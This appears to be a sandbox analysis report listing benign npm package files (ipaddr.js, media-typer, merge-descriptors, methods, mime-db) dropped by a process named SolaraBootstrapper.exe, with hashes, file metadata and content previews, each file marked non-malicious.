SHA-512:	687E9584947414688215B519BA9D3BE4A75326B47AF66C3815900294F98B3C2A43161C67B91167CE9CEDFA2DAB8923BA31E9361BD7C6314C7F2685475C0EE5B1
Malicious:	false
Preview:	(function() {. var expandIPv6, ipaddr, ipv4Part, ipv4Regexes, ipv6Part, ipv6Regexes, matchCIDR, root, zoneIndex;.. ipaddr = {};.. root = this;.. if ((typeof module !== "undefined" && module !== null) && module.exports) {. module.exports = ipaddr;. } else {. root['ipaddr'] = ipaddr;. }.. matchCIDR = function(first, second, partSize, cidrBits) {. var part, shift;. if (first.length !== second.length) {. throw new Error("ipaddr: cannot match CIDR for objects with different lengths");. }. part = 0;. while (cidrBits > 0) {. shift = partSize - cidrBits;. if (shift < 0) {. shift = 0;. }. if (first[part] >> shift !== second[part] >> shift) {. return false;. }. cidrBits -= partSize;. part += 1;. }. return true;. };.. ipaddr.subnetMatch = function(address, rangeList, defaultName) {. var k, len, rangeName, rangeSubnets, subnet;. if (defaultName == null) {. defaultName = 'unicast';. }. for (ra

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\lib\ipaddr.js.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	2959
Entropy (8bit):	4.638206496270271
Encrypted:	false
SSDEEP:	48:gztch7yL4qOS8GWHBBJr+Gtf8SuieGrzaU8SNfx+40Whb:6tcNywS8GWHBBJr+wf8STeGrzaU8SNfX
MD5:	69FE76ECEC2EB98CD45F17EC7DC7393B
SHA1:	F99EAAD680E2CDB0C60D67FDC17DB35E62310153
SHA-256:	662A75272462317059315F3028452DC8044F752AD0B6B61C084A7AE3EEB0F775
SHA-512:	854EE0C571B61A4DF5DB9E6257FC5B5954F44C96AFADE795BEB40D2F57459BCA8654897C5EDAE633AA3E3B7CC253F035FDE867BE39963D9D33762AA0C023E2FE
Malicious:	false
Preview:	declare module "ipaddr.js" {. type IPv4Range = 'unicast' \| 'unspecified' \| 'broadcast' \| 'multicast' \| 'linkLocal' \| 'loopback' \| 'carrierGradeNat' \| 'private' \| 'reserved';. type IPv6Range = 'unicast' \| 'unspecified' \| 'linkLocal' \| 'multicast' \| 'loopback' \| 'uniqueLocal' \| 'ipv4Mapped' \| 'rfc6145' \| 'rfc6052' \| '6to4' \| 'teredo' \| 'reserved';.. interface RangeList<T> {. [name: string]: [T, number] \| [T, number][];. }.. // Common methods/properties for IPv4 and IPv6 classes.. class IP {. prefixLengthFromSubnetMask(): number \| null;. toByteArray(): number[];. toNormalizedString(): string;. toString(): string;. }.. namespace Address {. export function isValid(addr: string): boolean;. export function fromByteArray(bytes: number[]): IPv4 \| IPv6;. export function parse(addr: string): IPv4 \| IPv6;. export function parseCIDR(mask: string): [IPv4 \| IPv6, number];. export function process(addr: strin

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	4.783962360583112
Encrypted:	false
SSDEEP:	12:yh8co1QMcFsvP5R6yrd9UJSCpxIeXLNdCjWjVDZAkTc3V0wi1020O6XdPN68n:sg1QM0svh5R2ECEe7NVb2mmRn
MD5:	17BC176C8D78F76C5E70CAD7BA16A598
SHA1:	532BE044CE57A9F81FED35F3742767F587CFBC95
SHA-256:	FC1071893728A0E78FA40CE0DBE04C5A1021179FDCB5B229F274E3556D6A87CD
SHA-512:	E2D7731224DC5FE287B5E2FD4FA7EE713A082D66BD802FE38ABA0FCB6C6F1968E29C573A0C77258DBD229FFC2CF3A14FE2DC517892E5336B8B73ED0B5114A6C7
Malicious:	false
Preview:	{. "name": "ipaddr.js",. "description": "A library for manipulating IPv4 and IPv6 addresses in JavaScript.",. "version": "1.9.1",. "author": "whitequark <whitequark@whitequark.org>",. "directories": {. "lib": "./lib". },. "dependencies": {},. "devDependencies": {. "coffee-script": "~1.12.6",. "nodeunit": "^0.11.3",. "uglify-js": "~3.0.19". },. "scripts": {. "test": "cake build test". },. "files": [. "lib/",. "LICENSE",. "ipaddr.min.js". ],. "keywords": [. "ip",. "ipv4",. "ipv6". ],. "repository": "git://github.com/whitequark/ipaddr.js",. "main": "./lib/ipaddr.js",. "engines": {. "node": ">= 0.10". },. "license": "MIT",. "types": "./lib/ipaddr.js.d.ts".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	461
Entropy (8bit):	4.6244103901918
Encrypted:	false
SSDEEP:	6:Oo08SzVQ6Fm2jX6azWvYFMaxF8t5IMwSZz4Xv1eC72Xv18XS+5/LWlIaMCEoE9:OJ8GnEsaQmtH/wWzCvcC78vWL58KB
MD5:	370BE51F8776B7E79B16228F7DC6762A
SHA1:	5912252F83CDA3E2A5741F2CD2593EFA95EC5DD0
SHA-256:	739DE29408B3F06851637FEF507F1B42F584725E547C272CF19929D5F568CBC2
SHA-512:	84131335673FC56A8E78BCA0207124CB1DFB05DC88B3AEDBDFF3A7BB126DCBE55BC2BF8144D6342605107F6DDAD3E52B06607167638ED761EABF77A955BA175C
Malicious:	false
Preview:	0.3.0 / 2014-09-07.==================.. * Support Node.js 0.6. * Throw error when parameter format invalid on parse..0.2.0 / 2014-06-18.==================.. * Add `typer.format()` to format media types..0.1.0 / 2014-06-17.==================.. * Accept `req` as argument to `parse`. * Accept `res` as argument to `parse`. * Parse media type with extra LWS between type and first parameter..0.0.0 / 2014-06-13.==================.. * Initial implementation.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.104507231535383
Encrypted:	false
SSDEEP:	24:5iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:5iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	C6E0CE1E688C5FF16DB06B7259E9CD20
SHA1:	6EABBF0405809A1FCCACB1B08CE5CF34AD97E980
SHA-256:	74D8054D56D522BDAA340D3D71130CB204997D523A5292C85AC1264DD77C8D06
SHA-512:	9A1510C25D4B6268ED349107857966AEE665ECBDAFB447341915D0C965F735D59725BD253BF361CF65E99DD166DBE9D9F1059E455C78B406CF4783D2DBA45362
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	5.06717829280703
Encrypted:	false
SSDEEP:	48:PqXC9RRlZ+Jc+4+K+7yy+A+WsJ2czvJfUluJe2eontoRYo7WTj7m7oyAYyotH:CXCkc+Nq2GxfUweutaYkWTv6NyKH
MD5:	6E254E8CCC8CE7EAF9CDD8E5852D7BDF
SHA1:	7899A1B0B168A36A0933D91ED9C3E399751A8D9C
SHA-256:	12B47B8B2E2A0F70289B2F3FD9F810422F918B78024E0019E86C2C9BC4AF695A
SHA-512:	2BFDC2AC9137B0DC157E56951707F3DC0FC3FA8D721D84F891B0987CC456008BF6C29AE5DEDEAC965433BD782DBFE246119035B9714F34F526D1335EED117088
Malicious:	false
Preview:	# media-typer..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Simple RFC 6838 media type parser..## Installation..```sh.$ npm install media-typer.```..## API..```js.var typer = require('media-typer').```..### typer.parse(string)..```js.var obj = typer.parse('image/svg+xml; charset=utf-8').```..Parse a media type string. This will return an object with the following.properties (examples are shown for the string `'image/svg+xml; charset=utf-8'`):.. - `type`: The type of the media type (always lower case). Example: `'image'`.. - `subtype`: The subtype of the media type (always lower case). Example: `'svg'`.. - `suffix`: The suffix of the media type (always lower case). Example: `'xml'`.. - `parameters`: An object of the parameters in the media type (name of parameter always lower case). Example:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6375
Entropy (8bit):	5.122672612037347
Encrypted:	false
SSDEEP:	96:Yn3wI5CTe4oajGzdxa3ua+60ZKVL/d45eyMqhhyINF+j0tstwz7sgH:Yn3N0Te4Hj8KJ+6/oRbycMYCwT
MD5:	EF1845377CBBF76EDD411A370738ED2B
SHA1:	CC79807E8585C09FB195FFB8CA37BBC04DC26708
SHA-256:	27AF6DE782C53C57C4A8F111A81CD26B8D68C896C2DCD83E27DA4C73234CE16B
SHA-512:	42AB06CB822A3C6949252B3945E962B0D343F0FD12492A8650C525733D2C9F7D6ED893E05922981DA05B92909600C6F2E42A75CBEFFBF14EB2B8ED167EB8D159
Malicious:	false
Preview:	/!. media-typer. * Copyright(c) 2014 Douglas Christopher Wilson. * MIT Licensed. /../. RegExp to match ( ";" parameter ) in RFC 2616 sec 3.7. . * parameter = token "=" ( token \| quoted-string ). * token = 1<any CHAR except CTLs or separators>. separators = "(" \| ")" \| "<" \| ">" \| "@". * \| "," \| ";" \| ":" \| "\" \| <">. * \| "/" \| "[" \| "]" \| "?" \| "=". * \| "{" \| "}" \| SP \| HT. * quoted-string = ( <"> (qdtext \| quoted-pair ) <"> ). qdtext = <any TEXT except <">>. * quoted-pair = "\" CHAR. * CHAR = <any US-ASCII character (octets 0 - 127)>. * TEXT = <any OCTET except CTLs, but including LWS>. * LWS = [CRLF] 1( SP \| HT ). CRLF = CR LF. * CR = <US-ASCII CR, carriage return (13)>. * LF = <US-ASCII LF, linefeed (10)>. * SP = <US-ASCII SP, space (32)>. * SHT = <US-ASCII HT, horizontal-tab (9)>. * CTL = <any US-ASCII control

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	4.862415517696567
Encrypted:	false
SSDEEP:	12:be7pH1HQDLCUqWV1JktPRGCjPGWjVSYMiPOyZiPjXy8enYMw:S7pH10LC/WTk9BmZy4y8e1w
MD5:	127CE4ABEB265C6EEF7B45540241CA91
SHA1:	866C9EA28A167B6800DA67CDBE18CC9F0EC5CBAB
SHA-256:	8CCF875E488E700B79EC48386E2F47C51C5F26297EC74E5E4E5D92DC5D70EF30
SHA-512:	BE57A51DC09DBA2DC139ACA8D445DA8B3798C420C2943F2097741AFD0DD14CB183561856B559D83ACFD5A3C2D6049A4BABD67258B23302270046ABEDABC55687
Malicious:	false
Preview:	{. "name": "media-typer",. "description": "Simple RFC 6838 media type parser and formatter",. "version": "0.3.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "jshttp/media-typer",. "devDependencies": {. "istanbul": "0.3.2",. "mocha": "~1.21.4",. "should": "~4.0.4". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.443514376022814
Encrypted:	false
SSDEEP:	6:SOtSYT4v/mTozlzD+jk2DCyqucPLh8S1VN/X3r1vhdUsj2:htTbQtkDHcPL5VNPbOf
MD5:	ED8BAD35FDE048C49302F3138BC4EC7B
SHA1:	1CFD5FEC0DC757A92E3A857B195F931316557BA7
SHA-256:	95DC03EB48A629F2136BBB0D2427963E6AD71906CCD532B28074F438C5CC70AC
SHA-512:	BF035C43D555562BDDEA1995FA697FBC71D9A3D371E8F0EC845759D528F01E350C33910FE8601D66D266C1FAF3A3FF97B0499DC80C5BCA101494DD42B5C8BD8E
Malicious:	false
Preview:	1.0.1 / 2016-01-17.==================.. * perf: enable strict mode..1.0.0 / 2015-03-01.==================.. * Add option to only add new descriptors. * Add simple argument validation. * Add jsdoc to source file..0.0.2 / 2013-12-14.==================.. * Move repository to `component` organization..0.0.1 / 2013-10-29.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:goiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:goiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	AAF57BA8C5C9BF256FEA7E943991A81A
SHA1:	338F56A09453C79D1E5279C4E74C91CE678F5DCF
SHA-256:	62FB7D7C1822FE783895866057247BBD50164B00631FCE9E4981D3897BDEE4D9
SHA-512:	7747C49E266A69074F989DF742F451A2C4A6F303E412361CFC0C75100E6FB8E258085843E6C6F1CD9C529558556615D67C5778AA7DA2C7C58D49411E0DEA6D00
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2013 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	4.932959396495419
Encrypted:	false
SSDEEP:	24:kiPeqXSCARbAq4p4H3kr1xE5UxRQPgILAt+W6myAY+NJ7dor:BmqX8RbUyXkxkUxFw7mZYA2
MD5:	92A3BCC5F7E8A33DE24B60BD6CA5C33F
SHA1:	8A466525191DE1D001D572FF8A6918879C395C3C
SHA-256:	ACE60D05B7AF34523EEFD407449E52F2B9EA33E26E212CF4F4B389CE60186320
SHA-512:	730FECB727AF2AA7F2E5123C3CC17F8ED1526298FCE4C0979E16332143D0EEA9A080782299B986894A44C0792B154015BE00D9EA2F632B663E398F5F7C61802A
Malicious:	false
Preview:	# Merge Descriptors..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Merge objects using descriptors...```js.var thing = {. get name() {. return 'jon'. }.}..var animal = {..}..merge(animal, thing)..animal.name === 'jon'.```..## API..### merge(destination, source)..Redefines `destination`'s descriptors with `source`'s...### merge(destination, source, false)..Defines `source`'s descriptors on `destination` if `destination` does not have.a descriptor by the same name...## License..[MIT](LICENSE)..[npm-image]: https://img.shields.io/npm/v/merge-descriptors.svg.[npm-url]: https://npmjs.org/package/merge-descriptors.[travis-image]: https://img.shields.io/travis/component/merge-descriptors/master.svg.[travis-url]: https://travis-ci.org/component/merge-descriptors.[coveralls-image]: https://img.shields.io/coveralls/component/merge-descriptors/master.svg.[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	4.792495369567698
Encrypted:	false
SSDEEP:	24:jUj+X3+kpAtBJ9H8qB83IYxoWFZPq/YFHEuiayAQ:jdXukGH9H7B4IYnZPKYFHZiaXQ
MD5:	B4D3859E603602C87A45682862055AF0
SHA1:	E95CB1C14D70BE457EBA2CE61B2F4E90A13B21B1
SHA-256:	88564234B9EEB2F0FE2CC5D03F617A97EB4802F126BDD21AA223C3C87C02531C
SHA-512:	B17BB8C8B652F27D8037ED60F28B0D19A68E77BCC45D1E2BE7DD304C942F6E85570E9720011F983FB8783D670EB66C0C3174D5FD90690B2AA79C2B402ADCD00A
Malicious:	false
Preview:	/!. merge-descriptors. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = merge../. Module variables.. * @private. /..var hasOwnProperty = Object.prototype.hasOwnProperty../. Merge the property descriptors of `src` into `dest`. . @param {object} dest Object to add descriptors to. * @param {object} src Object to clone descriptors from. * @param {boolean} [redefine=true] Redefine `dest` properties with `src` properties. * @returns {object} Reference to dest. * @public. */..function merge(dest, src, redefine) {. if (!dest) {. throw new TypeError('argument dest is required'). }.. if (!src) {. throw new TypeError('argument src is required'). }.. if (redefine === undefined) {. // Default to true. redefine = true. }.. Object.getOwnPropertyNames(src).forEach(function forEachOwnPropertyName(name) {. if (!redefine && hasOwnProperty.call(des

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	4.836039258651588
Encrypted:	false
SSDEEP:	24:kVwAv1rGS+7UEGGQxVSAQeWPRZKly8e1xyy:kVw+rGT7Vd+VXQdPRojg9
MD5:	570E06D8CE0167E07A32BA70FDD56795
SHA1:	39DC652DFA419D46D6FED0835444C603C57077F8
SHA-256:	45EBE570483C48B6460767FC4A0BB69E4DEE4BF4BECC645B0E0627172A30A580
SHA-512:	9C8DDF41B3207016935AFFCE00108D87F176A9E473A01F03F1110456397C88EE2FBAF34F9E497E6CBFF2B65C4F4C7F254A5129B4C1EAA2B85FBEBFFB8FE43777
Malicious:	false
Preview:	{. "name": "merge-descriptors",. "description": "Merge objects using descriptors",. "version": "1.0.1",. "author": {. "name": "Jonathan Ong",. "email": "me@jongleberry.com",. "url": "http://jongleberry.com",. "twitter": "https://twitter.com/jongleberry". },. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Mike Grabowski <grabbou@gmail.com>". ],. "license": "MIT",. "repository": "component/merge-descriptors",. "devDependencies": {. "istanbul": "0.4.1",. "mocha": "1.21.5". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "index.js". ],. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	4.478113238217573
Encrypted:	false
SSDEEP:	6:SUdSYT4v/dub7TtSH5vU6oQ0S6lIl9lkdQcSSMhLvo4y9QUchAneAvn:dTpbUx83VlIlY2XvFwBDeKn
MD5:	0355FB5E6662FFCDF19E5F736882F34D
SHA1:	A6D25D5B55C605C66CA1652C61BEC0494505FA2F
SHA-256:	4C23C63B7E97453A1517F474714EC21D6D590BFACE0961788EC748B800A4E789
SHA-512:	446C14E1D21980C6D27A1E634047C7DE536F0FAAE5FD711646A39ED51A0469F18D0651629C957225C872932F8E4D772DF9D41BD914EF2889B5EB7F244823735E
Malicious:	false
Preview:	1.1.2 / 2016-01-17.==================.. * perf: enable strict mode..1.1.1 / 2014-12-30.==================.. * Improve `browserify` support..1.1.0 / 2014-07-05.==================.. * Add `CONNECT` method. .1.0.1 / 2014-06-02.==================.. * Fix module to work with harmony transform..1.0.0 / 2014-05-08.==================.. * Add `PURGE` method..0.1.0 / 2013-10-28.==================.. * Add `http.METHODS` support.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	5.22582736815138
Encrypted:	false
SSDEEP:	24:M4iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFz:RiJfxfPvGt7ICMPH+sfINi3OMFz
MD5:	C16A7DD9F946172F07086576D135D9D3
SHA1:	C5761D628A53F59EBFBADCA4EFF7150083D3EBD6
SHA-256:	1DA7F0788D14D545B2B953F78A27B916D320DFA174C2FCFA124C5AAFFA81056E
SHA-512:	44B976ADC2F8D1B6E87FED375E3AB8D6C155EE8BF73902690EA8891BB8E85EBC9917515F5C3F866B1037404C4A62BCFE83AD79AC5BFE57EBD3DD953176668F17
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2013-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2015-2016 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMA

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	5.025036562613654
Encrypted:	false
SSDEEP:	24:kyeqXSX240ARL2R47QX/KV6k2z/X1p32zZY2jc/HQCN/R+IAPWWW6mg+NgWoG:wqXC9RRLf72z/lB24qWW7mgAL
MD5:	882A4DF2D7DC4B518FD3BB8C85E1C652
SHA1:	4148C08077812690AEB399D0B063DF47BB2EA674
SHA-256:	118D134E8BCD8B81D0A3596E0DED6D10372F9EC1E5DF5A5B8B4295923973C7F4
SHA-512:	1403B308E281C31B278F04AA43ABF1B0EF377D8B6F2A5BE7FEA7F158446861E5FAC90B323734B81023467565B4771A197EF1B3F98E283F68410C62DE1E0917BC
Malicious:	false
Preview:	# Methods..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..HTTP verbs that Node.js core's HTTP parser supports...This module provides an export that is just like `http.METHODS` from Node.js core,.with the following differences:.. * All method names are lower-cased.. * Contains a fallback list of methods for Node.js versions that do not have a. `http.METHODS` export (0.10 and lower).. * Provides the fallback list when using tools like `browserify` without pulling. in the `http` shim module...## Install..```bash.$ npm install methods.```..## API..```js.var methods = require('methods').```..### methods..This is an array of lower-cased method names that Node.js supports. If Node.js.provides the `http.METHODS` export, then this is the same array lower-cased,.otherwise it is a snapshot of th

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.856261055300312
Encrypted:	false
SSDEEP:	24:p+xR+nngR9AtBtQbZnTH18NHbdxMfLUKkS5ihLGiOtAKK:Mxk2a8ZnD1kd+fL9fihCtAKK
MD5:	17D4A4BA378C1FD10DCFD061439F7EA0
SHA1:	82EB55245F510E6CBC580F5CED1DC9D64D664D2A
SHA-256:	670576BFE96EB9E4FECD1E8C19F491A68B9BFD7DA0E7564CD0A3C2EBD3839180
SHA-512:	06C8F5DE256A9300379A075CD55D9ACC9D9B29E7E913D08F964CD2CD347CC4D5D1A95B8ADC15936431AA67B6B39ADA2BC8C650CF292BAAB9BD8F2415722F0EE1
Malicious:	false
Preview:	/!. methods. * Copyright(c) 2013-2014 TJ Holowaychuk. * Copyright(c) 2015-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var http = require('http');../. Module exports.. * @public. /..module.exports = getCurrentNodeMethods() \|\| getBasicNodeMethods();../. Get the current Node.js methods.. * @private. /..function getCurrentNodeMethods() {. return http.METHODS && http.METHODS.map(function lowerCaseMethod(method) {. return method.toLowerCase();. });.}../. Get the "basic" Node.js methods, a snapshot from Node.js 0.10.. * @private. */..function getBasicNodeMethods() {. return [. 'get',. 'post',. 'put',. 'head',. 'delete',. 'options',. 'trace',. 'copy',. 'lock',. 'mkcol',. 'move',. 'purge',. 'propfind',. 'proppatch',. 'unlock',. 'report',. 'mkactivity',. 'checkout',. 'merge',. 'm-search',. 'notify',. 'subscribe',. 'unsubscribe',. 'pat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	947
Entropy (8bit):	4.8785312207640015
Encrypted:	false
SSDEEP:	12:FvKB1XxR7CNZzZrdEQN54sUrUDeWfk/GaPjjPGWjVSYLZLPOyZiPjXy8enYMXwOx:FiB1XxVWbxVhUQeW6PBlZqy4y8e1LCU
MD5:	8A9CBEAD0F83BF845207AD21534DFDFA
SHA1:	93FAB7B874AFA4232986A2CAB9A7E900B5EAEE5A
SHA-256:	1AEA21641646C87A589208A9363141CD2ACD503DB45C635F8217613C45837C09
SHA-512:	E21EBB4897EE770DEBD4C3F1B0DCF52397FEDFA28B6BD7DA1C1CE8C371B170F7292D0E75828ECAD3A4B34D574DDAEE3955DA1797D8EE7AB75BA93C2BB7EF003E
Malicious:	false
Preview:	{. "name": "methods",. "description": "HTTP methods that node supports",. "version": "1.1.2",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)". ],. "license": "MIT",. "repository": "jshttp/methods",. "devDependencies": {. "istanbul": "0.4.1",. "mocha": "1.21.5". },. "files": [. "index.js",. "HISTORY.md",. "LICENSE". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". },. "browser": {. "http": false. },. "keywords": [. "http",. "methods". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12581
Entropy (8bit):	4.883495288508285
Encrypted:	false
SSDEEP:	192:YItJYGvMrnhiEafOY1+x+ve6Qq837C7jwB0Db:1403
MD5:	183C405FF4F34B51DBD9C852CE358505
SHA1:	1711A633B4C2C243E879695EE0DC6B359FC58D93
SHA-256:	1E820A4AB3B25CC858EED9D2629DDB39BFD48BAB307BEDEC769308C258199AA6
SHA-512:	5CD9760552D300C545DC5DE18170A3A0FDBFB799C70D487408ABB7884DA09A2575A693C3FFE2C9716B28BF46488A68F1A28437E630D04BCC1166E6E849923274
Malicious:	false
